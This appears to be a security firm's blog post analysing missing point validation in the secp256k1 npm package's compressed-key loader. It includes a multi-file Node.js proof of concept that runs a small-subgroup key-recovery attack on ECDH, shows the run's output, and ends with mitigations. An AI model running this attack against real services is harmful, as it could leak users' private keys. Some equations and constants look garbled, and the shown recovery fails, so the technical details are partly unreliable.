Elliptic Curve Cryptography, commonly known as ECC, is a method for encrypting data to secure digital communications. It’s a form of “asymmetric cryptography,” which means it uses two different keys: a public key that anyone can see and a private key that must be kept secret.
At its core, ECC is based on mathematical shapes called elliptic curves plotted over finite fields (also known as Galois fields). The mathematics behind these curves allows for complex calculations that are easy to perform in one direction but extremely hard to reverse without the private key. This one-way feature is what provides strong security.
One of the main advantages of ECC is that it offers strong security with smaller keys. In cryptography, a key’s size (measured in bits) relates to how secure it is. Here’s how ECC compares to RSA:
Smaller keys mean faster processing and less storage space required, which is particularly beneficial for devices with limited resources.
While ECC can be used for encryption, it’s most commonly employed in two critical areas:
ECC is increasingly popular in various applications that require secure communications:
A critical vulnerability was identified in the secp256k1 npm package, which allows an attacker to extract private keys through Elliptic Curve Diffie-Hellman (ECDH) exchanges. In this section, we’ll provide an in-depth analysis of the vulnerability, explaining every detail comprehensively.
Before we deep dive into the vulnerability, let’s dabble a little bit to understand how ECC works
An elliptic curve over a finite field FP (where 𝑝 is a prime number) is defined by an equation of the form:
y2= x3 + а𝓍 +b mod p
Where:
The curve must satisfy the condition 4a3 + 27b2 0 mod p
to ensure that it does not have repeated roots, making it non-singular.
Point on the curve forms a finite group under a defined addition operation. This group structure is the foundation of ECC.
The secp256k1 curve is defined by the equation:
y2= x2 + 7 mod p
Where p = 2256-977
. This curve is notable for its use in cryptocurrencies due to its efficiency and security properties.
Key Parameters:
ECDH is a method that allows two parties to establish a shared secret over an insecure channel without revealing their private keys. Here’s how it works:
Key Generation:
1
and n - 1
.QA=da.G
.1
and n - 1
.QB=dB.G
.Key Exchange:
S=dA.QB
S=dB.QA
Since dA.QB = dA.(dB.G) = dB.(dA.G) = dB.QA
, both parties derive the same shared secret.
Validating the received public keys is crucial to prevent attacks:
In this analysis, we examine a critical vulnerability within the secp256k1 npm package, commonly used in JavaScript implementations for elliptic curve cryptography, particularly for the Bitcoin curve (secp256k1). This vulnerability exists in the loadCompressedPublicKey
function due to limited validation, specifically when handling compressed keys. This function lacks the comprehensive security checks found in loadUncompressedPublicKey
, leading to the following issues:
ecparams.p
, but does not perform an overflow check on y, allowing potentially invalid values.loadUncompressedPublicKey
, which uses the first parameter to verify the y parity, loadCompressedPublicKey
omits this check, weakening the integrity of the point validation.Due to these omissions, loadCompressedPublicKey
can mistakenly process points that are not true elliptic curve points, exposing the system to small subgroup attacks where low-order or invalid points could reveal information about private keys.
The vulnerability arises due to inadequate validation of compressed public keys in the secp256k1 package, particularly within its implementation in elliptic.js. Here’s a breakdown of the root cause and why it compromises security:
1. Key Functions Involved
loadUncompressedPublicKey
Function:
loadUncompressedPublicKey
function provides a more secure approach to handling uncompressed keys through multiple validation checks. These include:
ecparams.p
, ensuring they fall within the elliptic curve’s finite field.loadCompressedPublicKey
Function:
loadUncompressedPublicKeyfunction
, loadCompressedPublicKey
does not include a validation check to verify if the point is actually on the curve.Affected Function: loadCompressedPublicKey Function
function loadCompressedPublicKey (first, xbuf) {
let x = new BN(xbuf)
// overflow
if (x.cmp(ecparams.p) >= 0) return null
x = x.toRed(ecparams.red)
// compute corresponding Y
let y = x.redSqr().redIMul(x).redIAdd(ecparams.b).redSqrt()
if ((first === 0x03) !== y.isOdd()) y = y.redNeg()
return ec.keyPair({ pub: { x: x, y: y } })
}
y2= x3 + а𝓍 +b mod p
.loadCompressedPublicKey
may inadvertently allow invalid points to enter the cryptographic system. This can open up security vulnerabilities, especially if these invalid points are used in sensitive operations like key exchanges or digital signatures. Attackers can exploit low-order or specially crafted points to extract private key information.1. Exploiting Invalid Curve Points
Due to the missing validation check in the secp256k1 package, an attacker can provide public keys that are not valid points on the intended elliptic curve. This creates two main types of threats:
kQ = O
, where O
is the point at infinity) is small. A low-order point limits the number of distinct results for operations involving this point, making it easier to extract information.2. Low-Order Points and Small Subgroup Attacks
In Elliptic Curve Diffie-Hellman (ECDH), when a low-order point is used, it introduces the following vulnerabilities:
This attack is known as a small subgroup attack and can be used to extract private key bits over time by exploiting the limited result set of low-order points.
3. Private Key Leakage over Multiple ECDH Sessions
Through multiple ECDH exchanges using carefully selected low-order points, an attacker can systematically extract parts of the private key. The process typically involves:
Prerequisites
1.1 Initialize a New Node.js Project
mkdir secp256k1-poc
cd secp256k1-poc
npm init -y
npm install [email protected] bigint-crypto-utils bn.js
This setup initializes a Node.js project and installs the vulnerable version of secp256k1, along with dependencies for big integer calculations (bigint-crypto-utils and bn.js).
Purpose: Defines parameters for the secp256k1 curve and precomputed small-order points.
const BN = require('bn.js');
// Curve Parameters
const P = new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F', 16);
const N = new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141', 16);
// Expanded list of small-order points with unique orders
const SMALL_ORDER_POINTS = [
{ x: '0000000000000000000000000000000000000000000000000000000000000001', order: 7, name: 'P7' },
{ x: '7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee', order: 5, name: 'P5' },
{ x: '5f5e100000000000000000000000000000000000000000000000000000000000', order: 11, name: 'P11' },
{ x: '6b4c6a2c421390209cdd7538a8d111d01394c90f586ddc5b036ba309fb31c03c', order: 13, name: 'P13' },
{ x: '8b4f536963304ba8c2c108f5d6b4c6a2c421390209cdd7538a8d111d01394c90', order: 17, name: 'P17' },
// Additional points can be added here if available, increasing the orders and improving attack success
];
module.exports = {
P,
N,
SMALL_ORDER_POINTS
};
2. point-generation.js
Purpose: Provides functions to calculate the y-coordinate for a given x-coordinate and check if a point is on the curve.
const BN = require('bn.js');
function calculateY(x, P) {
if (!x) throw new Error("Invalid input: x is undefined");
const xBN = new BN(x, 16);
// Calculate x^3 + 7 mod P
const x3 = xBN.pow(new BN(3)).add(new BN(7)).mod(P);
try {
let y1 = x3.toRed(BN.red(P)).redSqrt().fromRed();
let y2 = y1.neg().mod(P);
// Return the even y by default
return y1.isEven() ? y1 : y2;
} catch (error) {
console.error(`Failed to calculate y for x = ${x}:`, error);
return null;
}
}
function isPointOnCurve(xHex, P) {
if (!xHex) throw new Error("Invalid input: xHex is undefined");
try {
const xBN = new BN(xHex, 16);
const yBN = calculateY(xHex, P);
if (!yBN) return false;
const left = yBN.pow(new BN(2)).mod(P);
const right = xBN.pow(new BN(3)).add(new BN(7)).mod(P);
return left.eq(right);
} catch (error) {
console.error(`Error validating point on curve for x = ${xHex}:`, error);
return false;
}
}
module.exports = {
calculateY,
isPointOnCurve
};
3. crt.js
Purpose: Uses the Chinese Remainder Theorem (CRT) to combine residues and reconstruct the private key.
const BN = require('bn.js');
function modInverse(a, m) {
let [old_r, r] = [a, m];
let [old_s, s] = [new BN(1), new BN(0)];
let [old_t, t] = [new BN(0), new BN(1)];
while (!r.isZero()) {
const quotient = old_r.div(r);
[old_r, r] = [r, old_r.sub(quotient.mul(r))];
[old_s, s] = [s, old_s.sub(quotient.mul(s))];
[old_t, t] = [t, old_t.sub(quotient.mul(t))];
}
return old_s.mod(m);
}
function chineseRemainderTheorem(residues, moduli) {
if (residues.length !== moduli.length) {
throw new Error('Number of residues must match number of moduli');
}
const product = moduli.reduce((a, b) => a.mul(b), new BN(1));
let sum = new BN(0);
for (let i = 0; i < residues.length; i++) {
const p = product.div(moduli[i]);
const inverse = modInverse(p, moduli[i]);
sum = sum.add(residues[i].mul(p).mul(inverse));
}
return sum.mod(product);
}
module.exports = {
chineseRemainderTheorem,
modInverse
};
4. ecdh-attack.js
Purpose: Implements the main attack logic by simulating ECDH exchanges using malicious public keys.
const secp256k1 = require('secp256k1');
const crypto = require('crypto');
const BN = require('bn.js');
const { SMALL_ORDER_POINTS, P, N } = require('./constants');
const { chineseRemainderTheorem } = require('./crt');
const { calculateY, isPointOnCurve } = require('./point-generation');
class ECDHAttack {
constructor() {
this.victimPrivateKey = crypto.randomBytes(32);
this.victimPublicKey = secp256k1.publicKeyCreate(this.victimPrivateKey);
this.originalPrivateKeyBN = new BN(this.victimPrivateKey);
}
generateMaliciousPublicKey(xHex) {
const xBuffer = Buffer.from(xHex, 'hex');
const yBuffer = calculateY(xHex, P);
if (!yBuffer) throw new Error(`Cannot generate malicious key: Invalid y for x = ${xHex}`);
const prefix = yBuffer.isEven() ? Buffer.from([0x02]) : Buffer.from([0x03]);
return Buffer.concat([prefix, xBuffer]);
}
extractResidue(sharedSecret, order) {
const secretBN = new BN(sharedSecret, 16);
return secretBN.mod(new BN(order));
}
async performAttack() {
const results = [];
console.log('\nCollecting ECDH results with small-order points...');
const validPoints = SMALL_ORDER_POINTS.filter(point => isPointOnCurve(point.x, P));
for (const point of validPoints) {
try {
const maliciousPubKey = this.generateMaliciousPublicKey(point.x);
const sharedSecret = secp256k1.ecdh(maliciousPubKey, this.victimPrivateKey);
const residue = this.extractResidue(sharedSecret.toString('hex'), point.order);
results.push({
name: point.name,
point: point.x,
order: point.order,
secret: sharedSecret.toString('hex'),
residue: residue
});
console.log(`Collected result for ${point.name} (order ${point.order})`);
} catch (error) {
console.error(`Failed for point ${point.name}: ${error.message}`);
}
}
return results;
}
recoverPrivateKey(results) {
const residues = results.map(r => r.residue);
const moduli = results.map(r => new BN(r.order));
const combinedModulus = moduli.reduce((a, b) => a.mul(b), new BN(1));
const recoveredPartial = chineseRemainderTheorem(residues, moduli);
return {
partial: recoveredPartial,
modulus: combinedModulus
};
}
verifyRecovery(recovered, modulus) {
const originalMod = this.originalPrivateKeyBN.mod(modulus);
const recoveredMod = recovered.mod(modulus);
return {
success: originalMod.eq(recoveredMod),
expectedMod: originalMod,
recoveredMod: recoveredMod
};
}
analyzeResults(results) {
console.log('\nAttack Results Analysis:');
results.forEach(result => {
console.log(`\n${result.name} (order ${result.order}):`);
console.log(`Shared secret: ${result.secret}`);
console.log(`Private key ≡ ${result.residue.toString(16)} (mod ${result.order})`);
});
const recovery = this.recoverPrivateKey(results);
console.log('\nKey Recovery Results:');
console.log(`Combined modulus: ${recovery.modulus.toString()}`);
console.log(`Recovered value: ${recovery.partial.toString(16)}`);
const verification = this.verifyRecovery(recovery.partial, recovery.modulus);
console.log('\nVerification:');
console.log(`Recovery successful: ${verification.success}`);
console.log(`Expected mod: ${verification.expectedMod.toString(16)}`);
console.log(`Recovered mod: ${verification.recoveredMod.toString(16)}`);
console.log('\nActual victim private key:');
console.log(this.victimPrivateKey.toString('hex'));
return {
recovery,
verification
};
}
}
// Run the demonstration
async function runDemo() {
console.log('Starting Enhanced ECDH vulnerability demonstration...\n');
const attack = new ECDHAttack();
const results = await attack.performAttack();
const analysis = attack.analyzeResults(results);
const recoveryBits = analysis.recovery.modulus.bitLength();
const percentComplete = (recoveryBits / 256 * 100).toFixed(2);
console.log(`\nRecovery Progress:`);
console.log(`Recovered ${recoveryBits} bits of 256 (${percentComplete}%)`);
}
runDemo().catch(console.error);
generateMaliciousPublicKey(xHex) {
const xBuffer = Buffer.from(xHex, 'hex');
const yBuffer = calculateY(xHex, P); // Calculate y-coordinate based on x
const prefix = yBuffer.isEven() ? Buffer.from([0x02]) : Buffer.from([0x03]);
return Buffer.concat([prefix, xBuffer]); // Combine prefix and x for compressed key
}
2. performAttack
Purpose: This function executes ECDH exchanges using each malicious small-order point and collects residues that leak information about the private key.
How It Works:
SMALL_ORDER_POINTS
.generateMaliciousPublicKey
.
async performAttack() {
const results = [];
for (const point of SMALL_ORDER_POINTS) {
const maliciousPubKey = this.generateMaliciousPublicKey(point.x);
const sharedSecret = secp256k1.ecdh(maliciousPubKey, this.victimPrivateKey);
const residue = new BN(sharedSecret.toString('hex'), 16).mod(new BN(point.order));
results.push({ point, residue });
}
return results;
}
3. analyzeResults
Purpose: Combines the collected residues using the Chinese Remainder Theorem (CRT) and compares the result with the actual private key. This is the final step in reconstructing the private key modulo the product of all the small orders.
How It Works:
chineseRemainderTheorem
, obtaining a partial reconstruction of the private key.
analyzeResults(results) {
const residues = results.map(r => r.residue);
const moduli = results.map(r => new BN(r.point.order));
const recoveredPartial = chineseRemainderTheorem(residues, moduli);
console.log(`Recovered partial: ${recoveredPartial.toString(16)}`);
console.log(`Actual private key modulus: ${this.originalPrivateKeyBN.mod(moduli.reduce((a, b) => a.mul(b)))}`);
}
Output from PoC Execution
When we ran our PoC with node ecdh-attack.js, we received the following output:
Starting Enhanced ECDH vulnerability demonstration...
Collecting ECDH results with small-order points...
Collected result for P7 (order 7)
Collected result for P5 (order 5)
Collected result for P17 (order 17)
Attack Results Analysis:
P7 (order 7):
Shared secret: 2b8e9818e6d58d3cc6d69021d7562c052e5188d6477686781cbe0b0c7a113ece
Private key ≡ 5 (mod 7)
P5 (order 5):
Shared secret: 87d1343bf403b53d29bca20267e8ade7c37011ce0b912a5c1b1ffc5847a7397a
Private key ≡ 1 (mod 5)
P17 (order 17):
Shared secret: 11cb5d98a2d1a8370ee0c944e107554cf389f7c859bbdb7aa722901fdd952aef
Private key ≡ a (mod 17)
This shows the collected residues for each small-order point:
Apply CRT to Combine Residues
Key Recovery Results:
Key Recovery Results:
Combined modulus: 595
Recovered value: 3d
Verification:
Recovery successful: false
Expected mod: 5c
Recovered mod: 3d
Actual victim private key:
93ff229d83be7f9b02c5cea5925cf34974980849b1e7ebbaceda9ad6ba41d9b3
Recovery Progress:
Recovered 10 bits of 256 (3.91%)
To protect against the vulnerabilities demonstrated in this PoC, it’s essential to strengthen public key validation and ensure that low-order points (which could reveal private information) are not accepted in ECDH exchanges. Here’s a breakdown of effective mitigation strategies:
One of the main issues in this vulnerability is the failure to properly validate public keys. Without this validation, an attacker could send “malicious” public keys that do not actually lie on the intended elliptic curve. Here’s how to implement strong validation:
Check if the Point Lies on the Curve
For a point to be valid in secp256k1, it must satisfy the curve equation: y2= x3 + 7 mod p
. where p
is the prime number that defines the field.
Using JavaScript, this can be done with the following function:
function isPointOnCurve(x, y) {
const P = constants.P; // Prime modulus of the curve
const left = y.pow(new BN(2)).mod(P); // y^2 mod P
const right = x.pow(new BN(3)).add(new BN(7)).mod(P); // x^3 + 7 mod P
return left.eq(right);
}
Check the Order of the Point
In addition to lying on the curve, the point must have a sufficiently large order to ensure security.
Integrate these validation checks into the ECDH exchange itself to ensure that only valid public keys are accepted.
function safeECDH(publicKey, privateKey) {
// First, check if the public key format is valid
if (!secp256k1.publicKeyVerify(publicKey)) {
throw new Error('Invalid public key format');
}
// Convert the public key to its x and y coordinates
const { x, y } = secp256k1.publicKeyConvert(publicKey, false);
const xBN = new BN(x.slice(1, 33));
const yBN = new BN(y.slice(33));
// Check if the point is on the curve
if (!isPointOnCurve(xBN, yBN)) {
throw new Error('Public key is not on the curve');
}
// Perform ECDH with a validated public key
return secp256k1.ecdh(publicKey, privateKey);
}
This safeECDH function verifies the public key format and ensures that the public key point lies on the curve before performing the ECDH exchange. If any validation step fails, the exchange is aborted to prevent data leakage.
The vulnerability discussed here has been addressed in newer versions of the secp256k1 package, which now include proper public key validation. Updating the package can protect your application against similar vulnerabilities.
How to Update: Install the Latest Version:
npm install secp256k1@latest
Benefits of Updating:
This vulnerability highlights several important principles in cryptographic security. Here’s what you need to understand:
Follow @hackenclub on 𝕏 (Twitter)
The secp256k1 ECDH vulnerability reminds us how crucial input validation is in cryptographic applications. Attackers can exploit missing validation to perform small subgroup attacks that could eventually compromise private keys. Although this PoC only achieved partial success, it illustrates the potential for small-order points and CRT to incrementally reveal private key information.
By applying these principles, developers and organizations can enhance the security of their applications and protect against sophisticated attacks targeting cryptographic protocols.
By following these best practices, developers can better protect their applications against potential cryptographic vulnerabilities and ensure robust security for users.
Be the first to receive our latest company updates, Web3 security insights, and exclusive content curated for the blockchain enthusiasts.
10 min read
Insights
26 min read
Insights